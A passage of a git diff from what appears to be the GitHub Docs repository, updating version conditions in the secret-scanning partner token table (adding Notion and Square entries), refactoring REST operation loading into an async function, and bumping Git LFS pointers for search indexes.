ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Duffel | Duffel Live Access Token | duffel_live_access_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Duffel | Duffel Test Access Token | duffel_test_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} Dynatrace | Dynatrace Access Token | dynatrace_access_token{% endif %} Dynatrace | Dynatrace Internal Token | dynatrace_internal_token -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} EasyPost | EasyPost Production API Key | easypost_production_api_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} EasyPost | EasyPost Test API Key | easypost_test_api_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Fastly | Fastly API Token | fastly_api_token{% endif %} Finicity | Finicity App Key | finicity_app_key -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Flutterwave | Flutterwave Live API Secret Key | flutterwave_live_api_secret_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Flutterwave | Flutterwave Test API Secret Key | flutterwave_test_api_secret_key{% endif %} Frame.io | Frame.io JSON Web Token | frameio_jwt Frame.io| Frame.io Developer Token | frameio_developer_token {%- ifversion fpt or ghec or ghes > 3.2 %} FullStory | FullStory API Key | fullstory_api_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} GitHub | GitHub Personal Access Token | github_personal_access_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} GitHub | GitHub OAuth Access Token | github_oauth_access_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} GitHub | GitHub Refresh Token | github_refresh_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} GitHub | GitHub App Installation Access Token | github_app_installation_access_token{% endif %} GitHub | GitHub SSH Private Key | github_ssh_private_key {%- ifversion fpt or ghec or ghes > 3.3 %} @@ -107,35 +107,35 @@ Google | Google OAuth Client ID | google_oauth_client_id{% endif %} Google | Google OAuth Client Secret | google_oauth_client_secret{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Google | Google OAuth Refresh Token | google_oauth_refresh_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Grafana | Grafana API Key | grafana_api_key{% endif %} Hashicorp Terraform | Terraform Cloud / Enterprise API Token | terraform_api_token Hubspot | Hubspot API Key | hubspot_api_key -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Intercom | Intercom Access Token | intercom_access_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Ionic | Ionic Personal Access Token | ionic_personal_access_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Ionic | Ionic Refresh Token | ionic_refresh_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} JFrog | JFrog Platform Access Token | jfrog_platform_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} JFrog | JFrog Platform API Key | jfrog_platform_api_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Linear | Linear API Key | linear_api_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Linear | Linear OAuth Access Token | linear_oauth_access_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Lob | Lob Live API Key | lob_live_api_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Lob | Lob Test API Key | lob_test_api_key{% endif %} Mailchimp | Mailchimp API Key | mailchimp_api_key Mailgun | Mailgun API Key | mailgun_api_key {%- ifversion fpt or ghec or ghes > 3.3 %} Mapbox | Mapbox Secret Access Token | mapbox_secret_access_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} MessageBird | MessageBird API Key | messagebird_api_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Meta | Facebook Access Token | facebook_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} New Relic | New Relic Personal API Key | new_relic_personal_api_key{% endif %} @@ -145,13 +145,17 @@ New Relic | New Relic REST API Key | new_relic_rest_api_key{% endif %} New Relic | New Relic Insights Query Key | new_relic_insights_query_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} New Relic | New Relic License Key | new_relic_license_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Notion | Notion Integration Token | notion_integration_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Notion | Notion OAuth Client Secret | notion_oauth_client_secret{% endif %} npm | npm Access Token | npm_access_token NuGet | NuGet API Key | nuget_api_key -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Onfido | Onfido Live API Token | onfido_live_api_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Onfido | Onfido Sandbox API Token | onfido_sandbox_api_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} OpenAI | OpenAI API Key | openai_api_key{% endif %} Palantir | Palantir JSON Web Token | palantir_jwt {%- ifversion fpt or ghec or ghes > 3.2 %} @@ -170,21 +174,21 @@ Proctorio | Proctorio Linkage Key | proctorio_linkage_key Proctorio | Proctorio Registration Key | proctorio_registration_key Proctorio | Proctorio Secret Key | proctorio_secret_key Pulumi | Pulumi Access Token | pulumi_access_token -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} PyPI | PyPI API Token | pypi_api_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} RubyGems | RubyGems API Key | rubygems_api_key{% endif %} Samsara | Samsara API Token | samsara_api_token Samsara | Samsara OAuth Access Token | samsara_oauth_access_token -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} SendGrid | SendGrid API Key | sendgrid_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} Sendinblue | Sendinblue API Key | sendinblue_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} Sendinblue | Sendinblue SMTP Key | sendinblue_smtp_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Shippo | Shippo Live API Token | shippo_live_api_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Shippo | Shippo Test API Token | shippo_test_api_token{% endif %} Shopify | Shopify App Shared Secret | shopify_app_shared_secret Shopify | Shopify Access Token | shopify_access_token @@ -194,6 +198,8 @@ Slack | Slack API Token | slack_api_token Slack | Slack Incoming Webhook URL | slack_incoming_webhook_url Slack | Slack Workflow Webhook URL | slack_workflow_webhook_url {%- ifversion fpt or ghec or ghes > 3.3 %} +Square | Square Access Token | square_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} Square | Square Production Application Secret | square_production_application_secret{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Square | Square Sandbox Application Secret | square_sandbox_application_secret{% endif %} @@ -208,13 +214,13 @@ Stripe | Stripe Test API Secret Key | stripe_test_secret_key{% endif %} Stripe | Stripe Live API Restricted Key | stripe_live_restricted_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} Stripe | Stripe Test API Restricted Key | stripe_test_restricted_key{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Stripe | Stripe Webhook Signing Secret | stripe_webhook_signing_secret{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} {%- ifversion fpt or ghec or ghes > 3.3 %} Supabase | Supabase Service Key | supabase_service_key{% endif %} Tableau | Tableau Personal Access Token | tableau_personal_access_token{% endif %} -{%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} +{%- ifversion fpt or ghec or ghes > 3.1 or ghae %} Telegram | Telegram Bot Token | telegram_bot_token{% endif %} Tencent Cloud | Tencent Cloud Secret ID | tencent_cloud_secret_id {%- ifversion fpt or ghec or ghes > 3.3 %} diff --git a/data/ui.yml b/data/ui.yml index 9c430bb764..d35ee9a7c1 100644 --- a/data/ui.yml +++ b/data/ui.yml @@ -24,8 +24,7 @@ header: ghes_release_notes_upgrade_release_only: 📣 This is not the latest release of Enterprise Server. ghes_release_notes_upgrade_patch_and_release: 📣 This is not the latest patch release of this release series, and this is not the latest release of Enterprise Server. release_notes: - banner_text_current: These changes will roll out over the next one week. - banner_text_past: These changes rolled out to enterprises during the week of + banner_text: GitHub began rolling these changes out to enterprises on search: need_help: Need help? placeholder: Search topics, products... diff --git a/data/variables/actions.yml b/data/variables/actions.yml index c9db315930..a7720841ca 100644 --- a/data/variables/actions.yml +++ b/data/variables/actions.yml @@ -1,2 +1 @@ -hosted_runner: 'AE hosted runner' azure_portal: 'Azure Portal' diff --git a/lib/languages.js b/lib/languages.js index 5488a89a6f..962f6a8b17 100644 --- a/lib/languages.js +++ b/lib/languages.js @@ -53,4 +53,10 @@ if (process.env.ENABLED_LANGUAGES) { export const languageKeys = Object.keys(languages) +const languagePrefixPathRegex = new RegExp(`^/(${languageKeys.join('|')})/`) + +export function pathLanguagePrefixed(path) { + return languagePrefixPathRegex.test(path) +} + export default languages diff --git a/lib/rest/index.js b/lib/rest/index.js index bcf61aa0b9..90c3f3f740 100644 --- a/lib/rest/index.js +++ b/lib/rest/index.js @@ -8,66 +8,68 @@ import { readCompressedJsonFileFallback } from '../read-json-file.js' const __dirname = path.dirname(fileURLToPath(import.meta.url)) const schemasPath = path.join(__dirname, 'static/decorated') -export const operations = {} -fs.readdirSync(schemasPath).forEach((filename) => { - // In staging deploys, the `.json` files might have been converted to - // to `.json.br`. The `readCompressedJsonFileFallback()` function - // can handle both but you need to call it with the `.json` filename. - const key = path.parse(filename).name - const value = readCompressedJsonFileFallback(path.join(schemasPath, filename)) - operations[key] = value -}) - -// Get initial set of keys that will be deleted once new keys are set -const openApiOperationKeys = Object.keys(operations) - -let allCategories = [] -allVersionKeys.forEach((currentVersion) => { - // Translate the versions from the openapi to versions used in the docs - const openApiVersion = allVersions[currentVersion].openApiVersionName - - // Check that the openApiVersion is configured in OpenAPI - if (!operations[openApiVersion]) return - - operations[currentVersion] = operations[openApiVersion] - - // This list is generated for use in the tests, - // so we can verify that the names of the markdown files - // in content/rest/reference/*.md are congruous with the - // set of REST resource names like activity, gists, repos, etc. - allCategories = allCategories.concat( - chain(operations[currentVersion]).map('category').sort().uniq().value() - ) - - // Attach convenience properties to each operation that can't easily be created in Liquid - operations[currentVersion].forEach((operation) => { - operation.hasRequiredPreviews = get(operation, 'x-github.previews', []).some( - (preview) => preview.required - ) +export default async function getRest() { + const operations = {} + fs.readdirSync(schemasPath).forEach((filename) => { + // In staging deploys, the `.json` files might have been converted to + // to `.json.br`. The `readCompressedJsonFileFallback()` function + // can handle both but you need to call it with the `.json` filename. + const key = path.parse(filename).name + const value = readCompressedJsonFileFallback(path.join(schemasPath, filename)) + operations[key] = value }) -}) -// Get the unique set of categories -const categories = [...new Set(allCategories)] + // Get initial set of keys that will be deleted once new keys are set + const openApiOperationKeys = Object.keys(operations) -// Remove openapi base name keys that have been replaced with version key -openApiOperationKeys.forEach((openApiVersionName) => { - delete operations[openApiVersionName] -}) + let allCategories = [] + allVersionKeys.forEach((currentVersion) => { + // Translate the versions from the openapi to versions used in the docs + const openApiVersion = allVersions[currentVersion].openApiVersionName -// This is a collection of operations that have `enabledForGitHubApps = true` -// It's grouped by resource title to make rendering easier -const operationsEnabledForGitHubApps = allVersionKeys.reduce((acc, currentVersion) => { - acc[currentVersion] = chain(operations[currentVersion] || []) - .filter((operation) => operation['x-github'].enabledForGitHubApps) - .orderBy('category') - .value() - acc[currentVersion] = groupBy(acc[currentVersion], 'category') - return acc -}, {}) + // Check that the openApiVersion is configured in OpenAPI + if (!operations[openApiVersion]) return -export default { - categories, - operations, - operationsEnabledForGitHubApps, + operations[currentVersion] = operations[openApiVersion] + + // This list is generated for use in the tests, + // so we can verify that the names of the markdown files + // in content/rest/reference/*.md are congruous with the + // set of REST resource names like activity, gists, repos, etc. + allCategories = allCategories.concat( + chain(operations[currentVersion]).map('category').sort().uniq().value() + ) + + // Attach convenience properties to each operation that can't easily be created in Liquid + operations[currentVersion].forEach((operation) => { + operation.hasRequiredPreviews = get(operation, 'x-github.previews', []).some( + (preview) => preview.required + ) + }) + }) + + // Get the unique set of categories + const categories = [...new Set(allCategories)] + + // Remove openapi base name keys that have been replaced with version key + openApiOperationKeys.forEach((openApiVersionName) => { + delete operations[openApiVersionName] + }) + + // This is a collection of operations that have `enabledForGitHubApps = true` + // It's grouped by resource title to make rendering easier + const operationsEnabledForGitHubApps = allVersionKeys.reduce((acc, currentVersion) => { + acc[currentVersion] = chain(operations[currentVersion] || []) + .filter((operation) => operation['x-github'].enabledForGitHubApps) + .orderBy('category') + .value() + acc[currentVersion] = groupBy(acc[currentVersion], 'category') + return acc + }, {}) + + return { + categories, + operations, + operationsEnabledForGitHubApps, + } } diff --git a/lib/search/indexes/github-docs-3.0-cn-records.json.br b/lib/search/indexes/github-docs-3.0-cn-records.json.br index e0b3dfc382..fc2eb225de 100644 --- a/lib/search/indexes/github-docs-3.0-cn-records.json.br +++ b/lib/search/indexes/github-docs-3.0-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:00608070066a38d196b5134fb25475fab5d5a714f17a54cbd31f76e6b13e1f83 -size 628144 +oid sha256:7cafabad17e1a97057be1b8d590ed0cfa947f880a020a8d24c5f3541c408be1a +size 628268 diff --git a/lib/search/indexes/github-docs-3.0-cn.json.br b/lib/search/indexes/github-docs-3.0-cn.json.br index 9b05b4af7e..c34caafc45 100644 --- a/lib/search/indexes/github-docs-3.0-cn.json.br +++ b/lib/search/indexes/github-docs-3.0-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:b7fea834e0a027e5fb5b3d35fd41faeba8d7896e07b9c8820b1f5453f3b4647e -size 1357683 +oid sha256:dd4253038257244436f230eec1e2fe4734a65740e0b442d54a7de6ed81c01aaa +size 1357450 diff --git a/lib/search/indexes/github-docs-3.0-en-records.json.br b/lib/search/indexes/github-docs-3.0-en-records.json.br index 6fd882082f..50433bad5d 100644 --- a/lib/search/indexes/github-docs-3.0-en-records.json.br +++ b/lib/search/indexes/github-docs-3.0-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:600d675d9773795a7e745311168addad2a39e629ec0d1ad25346129392013dcb -size 948139 +oid sha256:ed1bb5929cf73689c7a06555251e2151321182dc033a677d2248d0474d8207cf +size 948157 diff --git a/lib/search/indexes/github-docs-3.0-en.json.br b/lib/search/indexes/github-docs-3.0-en.json.br index 3094b7ce23..ec183ad1a0 100644 --- a/lib/search/indexes/github-docs-3.0-en.json.br +++ b/lib/search/indexes/github-docs-3.0-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:a6492cbee573ef57d8c8c598861e8cf75720541927dbd5e26e1a4cf6c19410b6 -size 3868883 +oid sha256:27b0a2232130f7ffc9b7410183e9f074b306c1a8c61eab92a78e7266f6310c94 +size 3869360 diff --git a/lib/search/indexes/github-docs-3.0-es-records.json.br b/lib/search/indexes/github-docs-3.0-es-records.json.br index 2331a071af..3dff8c049b 100644 --- a/lib/search/indexes/github-docs-3.0-es-records.json.br +++ b/lib/search/indexes/github-docs-3.0-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:89a4def97884970f7991706f20475c5bb5f01950ddf0b2e50c9a126f2f1d047f -size 593525 +oid sha256:22476e45d352f64cb6444c5ca99215e94f243d356a3e8cd17ca736c5183ec1ba +size 593604 diff --git a/lib/search/indexes/github-docs-3.0-es.json.br b/lib/search/indexes/github-docs-3.0-es.json.br index a674e9aae2..8c86c5c7e2 100644 --- a/lib/search/indexes/github-docs-3.0-es.json.br +++ b/lib/search/indexes/github-docs-3.0-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:de6abfe274b07f2c98a053a2a4eec7c95690ab6b2f65db8ad517ff8cda6478a2 -size 2609920 +oid sha256:d8628e42919356fc9846f5b196e4a5a0d5a222d2470634343080abfac53f6d0d +size 2609591 diff --git a/lib/search/indexes/github-docs-3.0-ja-records.json.br b/lib/search/indexes/github-docs-3.0-ja-records.json.br index c48e7b966b..7cadc8699c 100644 --- a/lib/search/indexes/github-docs-3.0-ja-records.json.br +++ b/lib/search/indexes/github-docs-3.0-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:089bbdc8b53d5e5c6d0b2c6058e420cf29771b15ef59b87785bcf02ee253937c -size 644463 +oid sha256:e05c4e2e712095fb8be6bf160e79613a6cafd8d5e85a5165003827eb7b34be26 +size 644510 diff --git a/lib/search/indexes/github-docs-3.0-ja.json.br b/lib/search/indexes/github-docs-3.0-ja.json.br index f0815d69a3..cc8b402fef 100644 --- a/lib/search/indexes/github-docs-3.0-ja.json.br +++ b/lib/search/indexes/github-docs-3.0-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:932dad470e59d39717f6aa3ed1550cc1a04fc400d4efbfe190a3a91200ebc0f6 -size 3415398 +oid sha256:2462e7a395d9c4d6bb7da4e684c30d0b6cbd8a424f1e2dcad60d54b11dbd53a8 +size 3415573 diff --git a/lib/search/indexes/github-docs-3.0-pt-records.json.br b/lib/search/indexes/github-docs-3.0-pt-records.json.br index 304bf45edd..713e2dc8b9 100644 --- a/lib/search/indexes/github-docs-3.0-pt-records.json.br +++ b/lib/search/indexes/github-docs-3.0-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:3d1a3bfa42c42534dd3a4ea4d83151377641535939f5372c46ad4ce5773e0ae2 -size 590550 +oid sha256:bd1b271d4299ee4e31242b4e7c60f4720cfa2810db74785dcfbefae09719c8a7 +size 590593 diff --git a/lib/search/indexes/github-docs-3.0-pt.json.br b/lib/search/indexes/github-docs-3.0-pt.json.br index cc77ea2940..fa46aedbe8 100644 --- a/lib/search/indexes/github-docs-3.0-pt.json.br +++ b/lib/search/indexes/github-docs-3.0-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:3a8a87ec805ce2ff4a0bc892062b9c51416f6d55ee16ddd38c9d57dbbfe39796 -size 2496637 +oid sha256:8c36cc65a68c7636896dc6d4277a8ea7eea7e0f993db2fc67b031501fe48fc27 +size 2496762 diff --git a/lib/search/indexes/github-docs-3.1-cn-records.json.br b/lib/search/indexes/github-docs-3.1-cn-records.json.br index beb15cf4ee..e345e68b4d 100644 --- a/lib/search/indexes/github-docs-3.1-cn-records.json.br +++ b/lib/search/indexes/github-docs-3.1-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:377672ece6772251afe6df59808e13f5d4513bdd67c170341bc79487d9b4e294 -size 641413 +oid sha256:48320784ce7bb2e9d4873c469b33092cc130442cb5e496e9381d734a92d1b97e +size 641512 diff --git a/lib/search/indexes/github-docs-3.1-cn.json.br b/lib/search/indexes/github-docs-3.1-cn.json.br index 7dc432459e..9c1d999361 100644 --- a/lib/search/indexes/github-docs-3.1-cn.json.br +++ b/lib/search/indexes/github-docs-3.1-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:35a4a9f51a919aa97cbddb02deeb262ea2d181fa995ac893186037afd17bf9de -size 1392927 +oid sha256:caf890ffee71a9f4e8bde014da179e4b0af244fcb1fa96eb5ac9ad514c1a5a5d +size 1392946 diff --git a/lib/search/indexes/github-docs-3.1-en-records.json.br b/lib/search/indexes/github-docs-3.1-en-records.json.br index b47583355b..9b3c9cac6e 100644 --- a/lib/search/indexes/github-docs-3.1-en-records.json.br +++ b/lib/search/indexes/github-docs-3.1-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:963bac2d050b2f26646e2f837c5d6b4251863e9da6ae94ed2d26d0a5e47d42e8 -size 972612 +oid sha256:7066a887b32d1b5c09d753594990ba773bcc48234583756d117512e75a41c5a4 +size 972643 diff --git a/lib/search/indexes/github-docs-3.1-en.json.br b/lib/search/indexes/github-docs-3.1-en.json.br index c2893c0afb..9c4f9f8090 100644 --- a/lib/search/indexes/github-docs-3.1-en.json.br +++ b/lib/search/indexes/github-docs-3.1-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:da3456b94d21bc102fbf2bfcfd446bd601a00dcd0009300e839155339875421c -size 3960209 +oid sha256:9fca60ad8391bfdc49c086f39b7562beb2888b6a2bc43b119918a5678dfb0b59 +size 3959747 diff --git a/lib/search/indexes/github-docs-3.1-es-records.json.br b/lib/search/indexes/github-docs-3.1-es-records.json.br index 4281747df0..e89d1845c3 100644 --- a/lib/search/indexes/github-docs-3.1-es-records.json.br +++ b/lib/search/indexes/github-docs-3.1-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:12a891250a0dd9b884c73b3be66d722a5a0f3bab4e84b71d56af7beb4001374a -size 606256 +oid sha256:f537573fff1b1318802bbdc756f4fc73967afb1b89c570b1b2f224db0a6545f4 +size 606269 diff --git a/lib/search/indexes/github-docs-3.1-es.json.br b/lib/search/indexes/github-docs-3.1-es.json.br index ccfb84ac0f..b925473b31 100644 --- a/lib/search/indexes/github-docs-3.1-es.json.br +++ b/lib/search/indexes/github-docs-3.1-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:6f405034ddf9a1647c2d20c9bffca729da95d11219ef9d8f70aa939e821f4d24 -size 2670232 +oid sha256:fe2e0c6bab36ff967977a3af41a79f6d80c5ce78be7be51da23c7af78b378233 +size 2669704 diff --git a/lib/search/indexes/github-docs-3.1-ja-records.json.br b/lib/search/indexes/github-docs-3.1-ja-records.json.br index 9dea400dc4..c819258c05 100644 --- a/lib/search/indexes/github-docs-3.1-ja-records.json.br +++ b/lib/search/indexes/github-docs-3.1-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:62a5896a348233f2d605e5996b0607ce0f7571159f70467581b0ea669877196d -size 657825 +oid sha256:0b307e7713ff923aec51e6dfe6d09f6973e564d94157a1ad0f62b556376e406f +size 658080 diff --git a/lib/search/indexes/github-docs-3.1-ja.json.br b/lib/search/indexes/github-docs-3.1-ja.json.br index eee9a1fb85..2baf5f42fe 100644 --- a/lib/search/indexes/github-docs-3.1-ja.json.br +++ b/lib/search/indexes/github-docs-3.1-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:5783c8c7f5bd6157758176a09f331b8f237f8ab08473e73f7f7217486eac53a4 -size 3493231 +oid sha256:7616fa4fb3164a3873aaffad7a51407c0acaed13c8f00e5a32afd3f9001b6e2f +size 3493138 diff --git a/lib/search/indexes/github-docs-3.1-pt-records.json.br b/lib/search/indexes/github-docs-3.1-pt-records.json.br index 30ca2f300e..c3aec90bef 100644 --- a/lib/search/indexes/github-docs-3.1-pt-records.json.br +++ b/lib/search/indexes/github-docs-3.1-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:889591ca57770186be09dd5839479300ba90bc4b4722fefdc4a4c5fd74f965fb -size 603173 +oid sha256:1dbb866b4e2f6af87eb0fb9d5b08699646c98b9991ae4888541dc0571713c354 +size 603054 diff --git a/lib/search/indexes/github-docs-3.1-pt.json.br b/lib/search/indexes/github-docs-3.1-pt.json.br index eaeed30580..58b93fd9bb 100644 --- a/lib/search/indexes/github-docs-3.1-pt.json.br +++ b/lib/search/indexes/github-docs-3.1-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:ad7d755e44be65a75907df561a70e62cc19656f271f14758e24398875e5b38ff -size 2551756 +oid sha256:70a4260f21aa76ebea7670d5063cb53b5ab9318bae5b2874dbcc9021d7489900 +size 2551902 diff --git a/lib/search/indexes/github-docs-3.2-cn-records.json.br b/lib/search/indexes/github-docs-3.2-cn-records.json.br index c443c58efe..5a48d9491c 100644 --- a/lib/search/indexes/github-docs-3.2-cn-records.json.br +++ b/lib/search/indexes/github-docs-3.2-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:aa578f85d97e702fc1a331736441f2a3ff46c2aa2a59531956bef4fd52161a01 -size 653684 +oid sha256:7b9cb20eceaede643cba4df3eb39e17f8842b082bba2f7bb41356e445d0db216 +size 653540 diff --git a/lib/search/indexes/github-docs-3.2-cn.json.br b/lib/search/indexes/github-docs-3.2-cn.json.br index 4053c6bc93..7e1c724349 100644 --- a/lib/search/indexes/github-docs-3.2-cn.json.br +++ b/lib/search/indexes/github-docs-3.2-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:143d1971ce78e8b88cf4b25001c0142a6ebc3f9c981e6d3c5e504d42940ee31a -size 1419141 +oid sha256:35c28ccccc8572749fb15b260fb84875937cf59484830c06334d9ed694520755 +size 1418683 diff --git a/lib/search/indexes/github-docs-3.2-en-records.json.br b/lib/search/indexes/github-docs-3.2-en-records.json.br index caa48484dd..cb96250877 100644 --- a/lib/search/indexes/github-docs-3.2-en-records.json.br +++ b/lib/search/indexes/github-docs-3.2-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:faa9cf2a02855ac79045d7dd2c0bd0f386335fe9e62db1fe9792973fdafb59b3 -size 1003258 +oid sha256:9f1703173f1c727943c5e78dd2889504fa0b18eb55e7ade20cf3de44e33bb6f7 +size 1003540 diff --git a/lib/search/indexes/github-docs-3.2-en.json.br b/lib/search/indexes/github-docs-3.2-en.json.br index 99dd1b6ef7..1aefb80781 100644 --- a/lib/search/indexes/github-docs-3.2-en.json.br +++ b/lib/search/indexes/github-docs-3.2-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:a01c564b5f1ebf88a6b43328d1a9a7685d897cb1fbb5192f347f288b52668a08 -size 4080118 +oid sha256:07e3c4f86972578263d768cf6b205390655c0972961302bcfb9a1587121e45b7 +size 4080110 diff --git a/lib/search/indexes/github-docs-3.2-es-records.json.br b/lib/search/indexes/github-docs-3.2-es-records.json.br index 34506d3cc6..e5e57e04cc 100644 --- a/lib/search/indexes/github-docs-3.2-es-records.json.br +++ b/lib/search/indexes/github-docs-3.2-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:47dbf4cdee3fba5fd0cb262b3fa97454491193eec45a99b74f96643f5f0e1e24 -size 616728 +oid sha256:09fa801f126e40d9a3d65934f822e9973b4265d0595fbc512ced1b761b298813 +size 616812 diff --git a/lib/search/indexes/github-docs-3.2-es.json.br b/lib/search/indexes/github-docs-3.2-es.json.br index bc71f61f5e..5d4d4431ed 100644 --- a/lib/search/indexes/github-docs-3.2-es.json.br +++ b/lib/search/indexes/github-docs-3.2-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:ade7649cdd71a334b9bf92b07c4628793331ab60f4d96bcb0dcd228f8a630c50 -size 2723702 +oid sha256:9dcb1bfc318b46faefdd7f5547316b836e5fcca703f7deaad41911e9b72903a9 +size 2724466 diff --git a/lib/search/indexes/github-docs-3.2-ja-records.json.br b/lib/search/indexes/github-docs-3.2-ja-records.json.br index e7f3e7cd09..f52f2b46f0 100644 --- a/lib/search/indexes/github-docs-3.2-ja-records.json.br +++ b/lib/search/indexes/github-docs-3.2-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid 